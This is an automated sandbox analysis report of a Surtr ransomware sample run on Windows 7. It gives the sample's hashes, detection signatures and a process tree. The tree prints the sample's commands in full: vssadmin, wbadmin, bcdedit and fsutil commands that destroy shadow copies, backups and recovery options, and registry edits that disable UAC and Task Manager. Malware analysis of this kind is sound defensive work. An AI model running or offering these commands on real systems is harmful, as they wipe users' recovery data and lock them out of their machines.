Analysis

  • max time kernel
    146s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    21-10-2022 08:20

General

  • Target

    5c8abbfaf7902307dd307563abd7c06fa90424f82f6327401acca1586f05191b.exe

  • Size

    190KB

  • MD5

    5409ee640663b8d1f520af46c1146c0e

  • SHA1

    73eebd0dd94ce3d161a7f191196b8bcc354af55a

  • SHA256

    5c8abbfaf7902307dd307563abd7c06fa90424f82f6327401acca1586f05191b

  • SHA512

    dbaf6fdb7ae2dcbbce17aa9c1fc1932a054a024c9f32db8f8c810c9023480476a508397ae9a5e231ba27ce85c6d402b0ce5beb63a4b7fcb20702af9d1ec7f82a

  • SSDEEP

    3072:R1WTpHdp+hKaf5fVZ5/u63YbFVOppyis6h83ZHZZfKmJZGexxVAdueB+out:qHr85x/u6IbFVSyiJOpHTfNA6VxeB+oS

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Detects Surtr Payload 2 IoCs
  • Surtr

    Ransomware family first seen in late 2021.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates connected drives 3 TTPs 10 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 7 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5c8abbfaf7902307dd307563abd7c06fa90424f82f6327401acca1586f05191b.exe
    "C:\Users\Admin\AppData\Local\Temp\5c8abbfaf7902307dd307563abd7c06fa90424f82f6327401acca1586f05191b.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:1828
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c @echo off
        2⤵
          PID:2044
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c chcp 437
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Windows\SysWOW64\chcp.com
            chcp 437
            3⤵
              PID:1768
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
            2⤵
              PID:2012
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
              2⤵
                PID:2032
                • C:\Windows\system32\vssadmin.exe
                  vssadmin.exe Delete Shadows /all /quiet
                  3⤵
                  • Interacts with shadow copies
                  PID:1576
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                2⤵
                  PID:1208
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                    3⤵
                    • Interacts with shadow copies
                    PID:2276
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                  2⤵
                    PID:916
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                      3⤵
                      • Interacts with shadow copies
                      PID:552
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                    2⤵
                      PID:960
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                      2⤵
                        PID:324
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                          3⤵
                          • Enumerates connected drives
                          • Interacts with shadow copies
                          PID:1300
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                        2⤵
                          PID:1736
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                          2⤵
                            PID:588
                            • C:\Windows\system32\bcdedit.exe
                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                              3⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2176
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                            2⤵
                              PID:1200
                              • C:\Windows\system32\fsutil.exe
                                fsutil.exe usn deletejournal /D C:
                                3⤵
                                • Deletes NTFS Change Journal
                                PID:2308
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                              2⤵
                                PID:1512
                                • C:\Windows\system32\vssadmin.exe
                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                  3⤵
                                  • Interacts with shadow copies
                                  PID:1872
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                2⤵
                                  PID:772
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                    3⤵
                                      PID:2236
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                    2⤵
                                      PID:1356
                                      • C:\Windows\system32\vssadmin.exe
                                        vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                        3⤵
                                        • Enumerates connected drives
                                        • Interacts with shadow copies
                                        PID:1304
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                      2⤵
                                        PID:1068
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                        2⤵
                                          PID:1852
                                          • C:\Windows\system32\wbadmin.exe
                                            wbadmin.exe delete catalog -quiet
                                            3⤵
                                            • Deletes backup catalog
                                            PID:2228
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                          2⤵
                                            PID:332
                                            • C:\Windows\system32\reg.exe
                                              reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                              3⤵
                                                PID:2216
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                                              2⤵
                                                PID:1928
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                                2⤵
                                                  PID:760
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:1076
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                                    2⤵
                                                      PID:748
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:1968
                                                        • C:\Windows\system32\reg.exe
                                                          reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:2260
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1316
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                                            2⤵
                                                              PID:1792
                                                              • C:\Windows\system32\vssadmin.exe
                                                                vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                                                3⤵
                                                                • Interacts with shadow copies
                                                                PID:2268
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
                                                              2⤵
                                                                PID:396
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:320
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:2284
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
                                                                    2⤵
                                                                      PID:1544
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded
                                                                      2⤵
                                                                        PID:1120
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:1444
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:1336
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
                                                                            2⤵
                                                                              PID:1168
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded
                                                                              2⤵
                                                                                PID:2184
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:2152
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
                                                                                  2⤵
                                                                                    PID:2340
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
                                                                                    2⤵
                                                                                      PID:2352
                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                    C:\Windows\system32\vssvc.exe
                                                                                    1⤵
                                                                                      PID:2168

                                                                                    Network

                                                                                    MITRE ATT&CK Enterprise v6

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                                                                                    Downloads

                                                                                    • memory/1660-54-0x0000000075F51000-0x0000000075F53000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/1660-69-0x0000000000400000-0x000000000050B000-memory.dmp

                                                                                      Filesize

                                                                                      1.0MB

                                                                                    • memory/1660-56-0x0000000000400000-0x000000000050B000-memory.dmp

                                                                                      Filesize

                                                                                      1.0MB